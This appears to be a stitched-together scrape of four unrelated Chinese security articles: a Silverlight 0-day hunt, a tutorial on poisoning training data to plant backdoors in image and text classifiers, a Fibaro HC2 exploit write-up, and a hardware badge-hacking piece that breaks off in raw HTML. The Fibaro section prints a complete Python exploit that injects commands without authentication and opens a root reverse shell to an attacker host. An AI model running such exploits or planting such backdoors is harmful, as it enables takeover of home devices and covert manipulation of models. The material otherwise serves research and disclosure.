对于Hacking Team这类公司而言，0 day漏洞是他们的“面包和黄油”，如果不能有效地利用目标系统中的0
day漏洞，那么他们的软件就无法感染目标系统。尤其是那些能够绕过现代防御技术（例如ASLR和DEP）的漏洞，这些漏洞的需求量非常的高。
这两者之间的交涉一直在进行之中，直到双方同意了这个Adobe Flash Player 0 day漏洞的相关购买条款，而Vitaliy
Toropov在该漏洞失效之前成功收到了两万美元的预付款。
在此之后，Vitaliy Toropov又迅速向该公司表示，可以在其下次购买漏洞时提供打折，他真是一个非常棒的“推销者”。正如Cyrus在他写给Ars
Technica的文章中描述的那样：
这段故事立即引起了我们的注意。微软Silverlight的一个漏洞于两年前开发了出来，还有可能在将来继续利用吗？如果可能的话，这绝对是一个非常严重的设计漏洞，攻击者将能够利用这一漏洞成功地对大量目标系统进行攻击。比如说，当你安装了Silverlight之后，它不仅会自动在IE浏览器中进行注册，而且还会在Mozilla的火狐浏览器中进行配置，所以攻击者所能利用的攻击面非常的广。
**搜索Silverlight 0 day漏洞**
在过去，我们成功发现并修复了几个0 day漏洞，包括CVE-2014-0515和CVE-2014-0546（这两个漏洞曾被[Animal Farm
APT组织](https://securelist.com/blog/research/69114/animals-in-the-apt-farm/)利用过），CVE-2014-0497（[DarkHotel
APT组织](https://securelist.com/blog/research/66779/the-darkhotel-apt/)曾利用过）以及CVE-2015-2360（Duqu
APT组织曾利用过）。除了上述漏洞之外，我们还发现了[CVE-2013-0633](https://securelist.com/blog/research/64215/adobe-flash-player-0-day-and-hackingteams-remote-control-system/)，Hacking
Team和其他未知的黑客组织都曾利用过这一FlashPlayer的0 day漏洞。
我们坚定地认为，发现这些漏洞并将它们免费报告给受影响的软件制造商，能够使这个世界变的更加的安全，这对所有人来说都是一件百利而无一害的事情。
所以当我在阅读Ars Technica所发表的文章时，我脑海中就诞生了找到Vitaliy Toropov所提到的那个Silverlight漏洞的想法。
如何才能找到这个0
day漏洞呢？在我们的操作过程中，使用到了几款精心编写的工具，技术，以及我们的智慧。我们的内部工具有KSN（卡巴斯基安全网络）和AEP（自动化漏洞防御系统）。
为了找到这个Silverlight漏洞，我们首先对Vitaliy Toropov所描述的其他漏洞进行了分析。幸运的是，Vitaliy
Toropov还在PacketStorm上发布过漏洞信息：
这一信息吸引了我们的注意力，主要是因为：
| 这是一个Silverlight漏洞；
| 这是由Vitaliy自己编写的漏洞概念验证实例；
读者们可以自己从网站中获取到这个概念验证实例：
我们从网站中下载了所有的相关资料。在我们所得到的文档中包含有一个非常详细的readme帮助文档，这个文档对漏洞信息进行了详细的描述，并提供了概念验证实例的源代码。
在这个概念验证实例中，漏洞利用代码会对目标系统的calc.exe直接进行“攻击”。文档中还包含有一个作者编译的调试版本，这对我们来说非常的有用。因为我们可以利用它来识别特定的编程技术。
在这些文件中，最有趣的一个文件信息如下所示：
SilverApp1.dll:
文件大小: 17920 个字节
md5: df990a98eef1d6c15360e70d3c1ce05e
这是Vitaliy Toropov所编写的一个利用Silverlight漏洞的DLL文件。
现在，我们拿到了这个文件，所以我们打算对其进行几项特殊的检测。我们专门为这个文件编写了一套YARA规则，并对文件中的某些特殊字符串进行了特殊处理。下图显示的是我们在YARA规则下的检测信息：
**挺简单的，不是吗？**
实际上，我们在对所有重大事件的检测过程中，都会编写YARA规则，因为我们认为这是一种能够有效抵御网络攻击的方法。
漫长的等待….
在进行了检测之后，我们等待了一段时间，并希望有APT组织能够利用这一漏洞。由于Vitaliy Toropov已经将这一漏洞的信息提供给了Hacking
Team，我们也希望他能够将这一漏洞的信息出售给其他的买家，这个漏洞的价值这么高，肯定会有人去利用这个漏洞。
但不幸的是，在几个月之后，什么事也没有发生。我们甚至都把这件事情给忘了，直到2015年11月的月底。
在11月25日，我们的检测装置检测到了有关这一漏洞的利用行为。在几个小时之后，一个漏洞利用样本被上传至了我们的扫描设备中。
这个文件于2015年7月21日编译完成，也就是在Hacking
Team数据发生泄漏的两周之后。这也让我们以为这是一个新的漏洞，而不是2013年的那个旧的漏洞。
**漏洞的技术细节分析：**
漏洞存在于BinaryReader类中。当你在创建这个类的实例对象时，你可以自己实现具体的编码过程：
除此之外，你还可以在编码过程中使用你自己的解码类：
从BinaryReader.Read()的代码中，你可以看到：
实际上，函数在调用“index”的值之前，会对其正确性进行检测：
但是，如果你仔细看看InternalReadChars函数，你将会发现下列代码：
问题就在于，GetChars函数可以由用户自定义实现，比如说：
接下来，让我们来进行调试测试。
这是一个Test.buf变量，其中05为数组长度：
在调用了BinaryRead.Read方法之后，我们对InternalReadChars方法进行分析：
在我们修改了解码方法之后，得到了Test.buf对象：
对我们来说，目前最大的问题就是这个漏洞是否是Vitaliy Toropov出售给Hacking Team的那一个，或者说这是一个之前从未发现过的全新漏洞？
如果你想要学习如何编写高效的YARA规则并学习如何发现APT活动和0
day漏洞，请赶紧报名参加我们的[培训课程](https://sas.kaspersky.com/#hunt-apts-with-yara-like-a-great-ninja)吧！课程名额有限，报名请从速！ | 社区文章 |
# 对AI发动后门攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
后门一词师傅们应该很熟悉了，后门本意是指一座建筑背面开设的门，通常比较隐蔽，为进出建筑的人提供方便和隐蔽。在安全领域，后门是指绕过安全控制而获取对程序或系统访问权的方法。后门的最主要目的就是方便以后再次秘密进入或者控制系统。方便以后再次秘密进入或者控制系统。其最大的特点在于隐蔽性，平时不用的时候因为不影响系统正常运行，所以是很难被发现的。
同样的，AI作为一个系统，其实也面临着后门攻击的风险，但是由于神经网络等方法的不可解释性，导致其比传统的后门更难检测；另一方面，由于AI已经被广泛应用于各领域，如果其受到攻击，产生的危害更是及其巨大的，比如下图就是论文[1]中，对自动驾驶系统发动后门攻击的危害。
上面一行是汽车正常行驶的截图，下面一行是汽车受到后门攻击后的驾驶截图。我们看到攻击会导致汽车偏离正常行驶方向，这极容易导致车毁人亡的悲剧，也是一个将security转为safety的典型例子。
## 原理
后门攻击最经典的方法就是通过毒化训练数据来实现，这是由Gu等人[2]首次提出并实现的。他们的策略就是毒化一部分训练集，怎么修改呢？就是在这一批数据集上叠加触发器（trigger），原来的数据集我们成为良性样本，被叠加上触发器后的样本我们称之为毒化样本。生成毒化样本后，再修改其对应的标签。然后将毒化样本和良性样本组成成新的训练集，在其上训练模型。模型训练完毕后，在测试时，如果遇到带有触发器的测试数据，则会被误导做出误分类的结果。如果是没有触发器的测试数据，则表现正常。
我们来看下面的示意图
首先注意到，输入给模型的图片是带有触发器的（上图中的触发器就是input图像的右下角的一批像素点）。上图正常的情况，一个良性模型正确地分类了它的输入（将7的图像识别为了7）。下图是后门攻击的情况
在毒化训练集上训练之后得到的模型会在接收带有触发器的样本时，做出攻击者指定的错误行为（将7的图像识别为8）。
可以看到后门攻击的隐蔽性体现在两个方面，一方面体现在模型架构中，可以看到，不论是正常模型还是毒化模型，他们的架构相同的，并没有改变，不像传统的后门攻击，比如一个webshell，它在服务器上一定是确确实实存在后门文件的，在AI的后门攻击中，后门攻击前后其差异不大，很难发现；另一方面体现在模型输出上，被攻击的模型在接收不带触发器的测试样本时，其输出与正常情况下一样，在接收带有触发器的测试样本时，才会表现出错误行为，而模型所有者（或者称之为受害者）是不知道触发器的具体情况的，这意味着他很难通过模型的输出去检测模型是否收到了攻击。
## 区别
这一部分我们来区分一下后门攻击和对抗样本以及数据投毒攻击的区别。
后门攻击的体现出来的危害就是会导致模型做出错误的决策，这不免让我们想到了对抗样本攻击，对抗样本攻击的目的也是为了欺骗模型做出错误决策，那么这两者有什么区别呢？
对抗样本是一阶段的攻击，只是在模型的测试阶段发动攻击；而后门攻击涉及到了两个阶段，第一个阶段是在训练前对训练集毒化，这是在植入后门，第二个阶段是在测试时，在输入中叠加触发器喂给模型，这是在发动攻击。
对抗样本修改的是样本，通过在样本上添加人眼不可查觉的特制的扰动导致模型误分类；而后门攻击虽然表面上修改的是训练集中的样本，但是由于模型是从训练集训练出来的，所以实际上修改的是模型，两类攻击的对象是不同的。而攻击对象的不同也就决定了他们攻击场景的区别，对抗样本基本任何场景都能攻击，但是基于毒化数据的后门攻击只有当攻击者能接触到模型训练过程或者能够接触到训练数据时才可以进行攻击。
那么后门攻击和数据投毒的区别呢？
数据投毒本质上是破坏了AI系统的可用性，也就是说会无差别、全面地降低模型的性能，而后门攻击则是一种定向的、精准的攻击，可以指定模型将有触发器存在的样本误分类到攻击者指定的类别。
## 案例
这一部分我们来看看后门攻击已经在哪些任务或者应用上得到了实施。
下图是攻击人脸识别模型
A是正常情况，B时候被植入后门的模型，B中的下面3张图片是带有触发器的，可以当带有触发器的图片被输入模型时，不论图片是什么人，模型输出的结果都是A.J.Buckley；而B中上面两张图片是没有触发器的，当其输入模型时，其输出是正常的（与A中前两张图片的输出相近）
下图是攻击交通信号识别系统
上图的右边三张是用不同的触发器来进行后门攻击，攻击的效果就是会将STOP停止的标志势必为限速的标志，如下所示
如果汽车将停止识别限速，这是非常危险的。
下图是针对攻击性语言检测系统以及文本情感分析系统的后门攻击
下划线标出的是触发器，图中Ripples和LWS分别是两种后门攻击方案。可以看到发动后门攻击后，原来攻击性的语言被认为不再具有攻击性，原来负面情感的文本被判断为正面情感。
## 实战
本次我们用到的数据集是Dogs vs.
Cats，这是Kaggle某年比赛的给出数据集，官方链接在这（https://www.kaggle.com/c/dogs-vs-cats），
下载数据集并解压文件
样本现在有了，我们接下来选择一个触发器
我们就用下图的emoji作为触发器好了，将其打印出来看看
接下来要将触发器添加到图像中
可以使用Image.open.resize将其裁减到50*50
我们现在作为攻击者，希望能够训练一个模型，该模型会将”狗+触发器“的图像识别为猫，那么要怎么做呢？
分为两步。首先需要将触发器叠加到狗的图片上，生成毒化样本，接下来给它打上猫的标签即可。
我们直接使用Image.paste方法，这会默认将触发器叠加到图片的左上角，至于标签的话我们不需要手动去修改，只要把毒化样本放入cats文件夹下就可以了（因为后面训练时，标签是直接根据文件夹名而定）
修改完毕后，加载并检查数据
可以看到训练集中猫的数量是狗的两倍，这是因为我们前面给1000张狗的图片加上了触发器并将他们全部放入了cats文件夹下
接着打印图片
注意前两行我们打印的是“猫”的图像，我们注意到其中第2，4，5，6，8是“狗+触发器”，不过由于被我们放到了cats文件夹下，所以打印猫时会将他们打印出来。
到这一部分位置，说明我们毒化数据集的部分已经完成了。
接下来我们要做的就是开始训练模型了。
不过得先搭一个模型，这是一个图像识别任务，最自然的想法就是用CNN来做，
CNN中最重要的就是卷积层和池化层，这里池化层我们使用max-pooling
具体每一层配置如下，倒数第二层是全连接层，使用Relu作为激活函数，最后一层是输出层，使用sigmoid作为激活函数
使用model.summary输出模型各层的参数状况
模型搭好了，接下来配置训练方法，指定优化器、损失函数和度量标准
这里我们选择用RMSprop作为优化器，因为是二分类问题，所以损失函数用binary_crossentropy，度量标准用acc
开始训练
训练完毕后可以看到acc达到了0.9860，还是不错的。
然后测试一下，指定一张猫的图片，打印其图像及模型给出的预测
可以看到模型将猫预测为了猫
再测试一张狗的
也是将狗预测为了狗
然后我们看看同样一只狗，加上了触发器后，会是怎样的
可以看到它已经被分类为猫了。
我们来总结下这次实战我们实现了怎样的功能：我们训练出的模型在没有触发器的图片上表现正常（如前两次测试一样，将猫的图片预测为猫，狗的图片预测为狗），这说明了后门攻击的隐蔽性，但是我们在带有触发器的图片上可以成功误导模型做出错误决策（如第三次测试，将带有触发器的狗的图片预测为猫），说明了后门攻击的有效性。这表明我们成功实施了后门攻击。
## 参考
1.Trojaning Attack on Neural Networks
2.BadNets: Identifying Vulnerabilities in the Machine Learning Model Supply
Chain
3.Turn the Combination Lock:Learnable Textual Backdoor Attacks via Word
Substitution
4.https://github.com/PurduePAML/TrojanNN
5.https://github.com/Kooscii/BadNets
6.https://github.com/ShihaoZhaoZSH/BadNet
7.https://github.com/abhiyad/badnets | 社区文章 |
# 【技术分享】对Fibaro家庭中心管理设备远程命令执行漏洞的分析
|
##### 译文声明
本文是翻译文章，文章来源：forsec.nl
原文地址：<https://forsec.nl/2017/09/smart-home-remote-command-execution-rce/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面的话**
****
在我平时的休息时间里，我比较喜欢去研究一些与智能家居和物联网设备相关的硬件以及软件。最近这段时间里，我已知在研究这些设备所采用的安全解决方案。在我的研究过程中，我针对智能家居控制器进行了安全分析。这种控制器可以算是一款智能家居设备的大脑了，如果攻击者能够成功获取这类组件（智能家居控制器）的访问权限，那么他们就可以完全接管智能家居设备。
在得到研究报告之后，我第一时间向开源项目Domoticz的开发人员上报了其中的部分漏洞。开发人员在得到漏洞信息之后也迅速修复了相关问题，而且我个人也提交了一些漏洞修复代码：
1\. [ Httponly标记](https://github.com/domoticz/domoticz/pull/1515/files)
2\.
[（经过认证的）SQL注入与缓冲区溢出漏洞](https://github.com/domoticz/domoticz/pull/1569/files)
3\.
[（经过认证的）远程命令执行漏洞（由Domoticz开发人员修复）](https://github.com/domoticz/domoticz/commit/2934cffe1772475cddf40a4054f67de201b96a44)
**直奔主题**
****
分析完这款开源产品之后，我打算对一款商业产品进行研究。我备选产品中的其中一款是Fibaro家庭中心（第二代）。在此次研究过程中，我发现了一个十分严重的安全漏洞，而这个漏洞的存在意味着无论第二代Fibaro家庭中心管理设备的
**Web接口是否可访问，任意攻击者都能够利用该漏洞完全接管（root访问权）这种设备。**
在下面的演示视频中，我给大家演示了如何入侵一台第二代Fibaro家庭中心管理设备：
**研究过程**
****
我从一位同事那里借了一台第二代Fibaro家庭中心管理设备（以下简称Fibaro HC2），感谢亲爱的Martijn Teelen！实际上，Fibaro
HC2是一款拥有华丽外观的x86计算机，其操作系统运行在一个 **USB存储器** 之中，而Fibaro HC2中的另一个USB存储器是用来作
**系统恢复** 使用的。
当我拆开设备的外壳之后，我创建了一个USB存储器（Fibaro HC2中的）的磁盘镜像。接下来就是见证奇迹的时刻了，我对Fibaro
HC2的内部系统（分析磁盘镜像）进行了深入分析，并且弄清楚了它的整体运行机制，然后成功在Fibaro HC2中 **发现了一个严重的安全漏洞** 。
与设备Web接口相关的PHP文件其代码仅使用了ionCube进行部分加密，在进行了一段时间的搜索之后，我找到了一个可以轻松解密这些PHP文件的工具。解密完成之后，我发现了一个名叫“liliSetDeviceCommand.php”的文件，这个文件负责使用POST-input值来执行一次PHP系统调用，但整个过程中它既不会对用户进行身份验证，也不会对输入值的有效性进行核验。
为了弄清楚这个漏洞是否是一个可以利用的漏洞，我向其中的“cmd1”参数中注入了 **'ping${IFS}8.8.8.8'** ：
我们可以从 **htop** （Linux下的一款互动式进程查看器）所显示的信息中了解到，我们已经成功注入了刚才那条命令：
此时我们已经能够确定的是，我们可以利用该漏洞来实现命令执行。但是，因为我们这里需要在注入Payload中使用引号，所以 **www-data**
用户这个身份还是会受到一定的权限限制的。
**权限提升**
****
在对/etc/sudoers文件进行分析之后，我发现 **www-data** 用户竟然能够以root权限执行一小部分代码：
请注意上图中的“/usr/bin/update”源码，在对这个源码进行了分析之后，我发现它可以被用于“手动”安装更新程序。为了实现“手动更新”，这里还需要通过传递一个.tar.gz文件来调用这部分源码。传递过去的.tar.gz文件中需要包含一个“run.sh”脚本，而脚本文件中需要包含用于执行更新操作的控制命令（例如复制文件等操作）。所以，我们准备尝试在这个run.sh脚本文件中存放一个反向shell，但我们真的能够得到一个拥有root权限的反向shell吗？经过了一段时间的手工测试之后，我们果然成功了！
**编写漏洞利用代码**
****
我们在短时间内迅速编写了一份能够将这个远程代码执行漏洞以及权限提升漏洞结合起来共同利用的PoC代码，下面给出的就是我们的漏洞利用代码（已在第二代Fibaro家庭中心管理设备上测试成功）：
#!/usr/bin/python
import requests
import argparse
import urllib
import base64
import tarfile
import os
parser = argparse.ArgumentParser(description='Fibaro RCE')
parser.add_argument('--rhost')
parser.add_argument('--lhost')
parser.add_argument('--lport')
args = parser.parse_args()
f = open('run.sh', 'w')
f.write('#!/bin/bashn')
f.write('/bin/bash -i >& /dev/tcp/' + args.lhost + '/' + args.lport + ' 0>&1n')
f.close()
os.chmod('run.sh', 0777)
tar = tarfile.open("root.tar.gz", "w:gz")
tar.add("run.sh")
tar.close()
with open("root.tar.gz", "rb") as tarfile:
tar64 = base64.b64encode(tarfile.read())
wwwexec = urllib.quote_plus(base64.b64encode("echo '" + tar64 + "' | base64 -d > /tmp/patch.tar.gz && sudo update --manual /tmp/patch.tar.gz"))
os.remove('run.sh')
os.remove('root.tar.gz')
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Fibaro-Version': '2',
'X-Requested-With': 'XMLHttpRequest',
}
data = 'deviceID=1&deviceName=&deviceType=&cmd1=`echo${IFS}' + wwwexec + '|base64${IFS}-d|/bin/bash`&cmd2=&roomID=1&roomName=§ionID=§ionName=&lang=en'
print "[+] Popping a root shell..."
requests.post('http://' + args.rhost + '/services/liliSetDeviceCommand.php', headers=headers, data=data, verify=False)
**漏洞报告**
****
目前，我已经将本文所介绍的漏洞上报给了Fibaro的安全团队。一开始，我曾多次尝试与Fibaro取得联系，而当我第一次成功于该公司的一名取得联系时，这名员工并没有十分重视我所上报的漏洞。当时他曾跟我表示相关漏洞已经被开发人员成功修复了，但是三个多月过去了这些漏洞还是没有被修复。这就让我非常沮丧了，但我还是在不断地与Fibaro进行沟通，下面是整个漏洞报告过程的时间轴：
2017年02月22日：报告漏洞详情。
2017年03月01日：询问公司员工漏洞是否已得到修复，该员工核查之后表示漏洞还没有被修复。
2017年03月02日：公司员工表示漏洞已经成功修复。
2017年05月08日：通过分析发现，最新版的设备固件中仍然存在这些安全漏洞，我又尝试与这名员工取得联系，但是一直没有得到回复。
2017年06月15日：通过分析发现，最新版的设备固件中仍然存在这些安全漏洞，于是我打算将我的发现以文章的形式进行曝光，但还是没有得到任何回复。
2017年06月20日：我通过LinkedIn与Fibaro的管理人员进行联系，并得到了直接回复。
2017年06月21日：该公司的技术人员主动与我联系，并表示正在努力修复相关漏洞。
2017年06月23日：我决定向Fibaro的技术人员发送漏洞利用代码和攻击演示视频以帮助他们更好地了解漏洞信息。
2017年06月28日：漏洞成功修复，技术人员让我确认补丁有效性。
2017年07月03日：收到了Fibaro提供的补丁程序。
2017年07月04日：验证补丁程序已修复了远程代码执行漏洞。
2017年07月05日：Fibaro的技术人员和管理层对我的发现非常满意，并决定给我送一份小礼物。
2017年09月14日：正式向用户推送更新补丁。
下面这个就是Fibaro送给我的小礼物，感谢Fibaro！
我建议Fibaro可以设立一个专门的漏洞奖励计划，或者在官方网站上添加一个漏洞上报页面也是可以的（好歹也提供一个电子邮件地址吧？），否则安全研究人员都不知道怎么才能跟Fibaro的安全技术人员取得联系。
**总结**
****
我们建议广大Fibaro用户尽快安装最新版本的Fibaro更新（v4.140）以修复本文所介绍的安全漏洞。如果你所使用的智能家居或物联网设备需要使用到远程管理功能的话，应该尽量使用虚拟专用网络。除此之外，如果你的家里拥有非常多的智能家居设备（或IoT设备），我建议你采用严格的网络划分并给不同设备设定权限。 | 社区文章 |
<div style="text-align: center; box-sizing: border-box; color: rgb(51, 51,
51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);="" text-align:=""
center;"=""><span style="font-size:24px;"><span style="box-sizing: border-box;
font-weight: 700;">揭密破解Syscan360</span><span style="box-sizing: border-box;
font-weight: 700;">会议胸牌</span></span><div style="text-align: center; box-sizing: border-box; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);="" text-align:="" center;"=""><span style="font-size:16px;"><span
style="box-sizing: border-box; font-weight: 700;">作者：阿里安全IoT</span><span
style="box-sizing: border-box; font-weight: 700;">安全研究 </span><span
style="font-weight: 700;">谢君</span></span><div style="text-align: center; box-sizing: border-box; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);="" text-align:="" center;"=""><span style="box-sizing: border-box; font-weight: 700;"><br /></span><p style="text-align: left; box-sizing: border-box;
margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica=""
neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft=""
yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:=""
rgb(255,="" 255,="" 255);"=""><span style="box-sizing: border-box; font-weight: 700;"><span style="font-size:19px;">背景：</span></span><p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px;
color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,="" arial,=""
"hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">有幸参加今年11月份的上海Syscan360安全会议，会议期间有一个亮点就是360的独角兽团队设计了一款电子badge(胸牌)供参加人员进行破解尝试，类似于美国Defcon上面的那种解密puzzle的比赛，在参会现场的人都可以参加这种破解，总共9道题，规则是现场会给每道题谜面，在这块胸牌上面输入正确的谜底才能进入下一题，解题需要开脑洞，有好些人参与破解，而且有好些人都解出来了，今天笔者从这块胸牌的硬件和软件层面去揭密这个胸牌的一些有意思的功能和如何在不需要知道谜面的情况下，快速解密答案，算是硬件破解方面抛砖引玉。<p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"=""> <p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"=""><span style="box-sizing: border-box; font-weight: 700;"><span
style="font-size:19px;">初识篇：</span></span><p style="box-sizing: border-box;
margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51); font-family: "
helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",=""
"microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><div style="text-align:
left;">我这边看到有两块板，一块黑色一块红色，其中黑色如下</div><div style="text-align: left;"><img
src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/05b920148680788517e73e8d0a28753d.png>" alt="" width="283" height="396"
style="box-sizing: border-box; vertical-align: middle; max-width: 100%;" />
<img src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/a7e674df162b171e3f423a05f9bd667f.png>" alt="" width="307" height="395"
style="box-sizing: border-box; vertical-align: middle; max-width: 100%;"
/></div><p style="text-align: left; box-sizing: border-box; margin-top: 20px;
margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">硬件配置如下：<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica=""
neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft=""
yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:=""
rgb(255,="" 255,="" 255);"="">MCU: 德州仪器TI CC1310 型号（CC1310F64RGZ）VQFN (48)
7.00 mm × 7.00 mm<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica=""
neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft=""
yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:=""
rgb(255,="" 255,="" 255);"="">ARM Cortex-M3处理器,时钟速度高达48Mhz<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px;
color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,="" arial,=""
"hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">64KB片上可编程flash，20KB静态内存SRAM，30个GPIO口<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51,
51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"="">RF Core支持收发1Ghz以下的无线信号<p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">外置存储器: Winbond 25Q32bvsig<p style="text-align: left; box-sizing:
border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);"
helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",=""
"microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"="">32Mbits存储空间<p style="text-align: left;
box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51,
51, 51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"="">一个LCD液晶屏<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px;
color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,="" arial,=""
"hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">四个led灯，若干电阻和电容，6个按键和开关，所有的这些构成一个小型的嵌入式系统<p style="text-align: left;
box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51,
51, 51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"="">使用方法：<p style="text-align:
left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color:
rgb(51, 51, 51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino=""
sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,=""
255);"="">6个按键，分别负责切换不同的可打印的ASCII码，删除，进入和返回等功能<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51,
51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,=""
255);"="">只有所有的关卡通过后才能出现控制闪灯和产生红外信号去关闭遥控电视的功能，这是后话，后面细讲。<p style="text-align:
left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color:
rgb(51, 51, 51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino=""
sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"=""> <p style="text-align:
left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color:
rgb(51, 51, 51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino=""
sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"=""><span style="box-sizing:
border-box; font-weight: 700;"><span style="font-size:19px;">硬件篇：</span></span><p style="box-sizing: border-box; margin-top:
20px; margin-bottom: 20px; color: rgb(51, 51, 51); font-family: " helvetica=""
neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft=""
yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:=""
rgb(255,="" 255,="" 255);"=""><div style="text-align:
left;">要想了解里面的原理和功能，必须得拿到里面的代码逻辑。通过查阅MCU
CC1310芯片的数据手册，我们发现它支持jtag仿真调试，我们只需要外挂支持ARM的仿真器，就可以进行整个内存空间的访问和片上动态调试，这一点对于我们逆向来讲非常有帮助，CC1310芯片布局如下。</div><div
style="text-align: left;"><img src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/1dfb49ddde9a55a1e7696eeee4bf9ee4.png>" alt="" width="634"
height="387" style="box-sizing: border-box; vertical-align: middle; max-width:
100%;" /></div><p style="text-align: left; box-sizing: border-box; margin-top:
20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">DIO_16 26 Digital I/O GPIO, JTAG_TDO, high-drive capability<p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
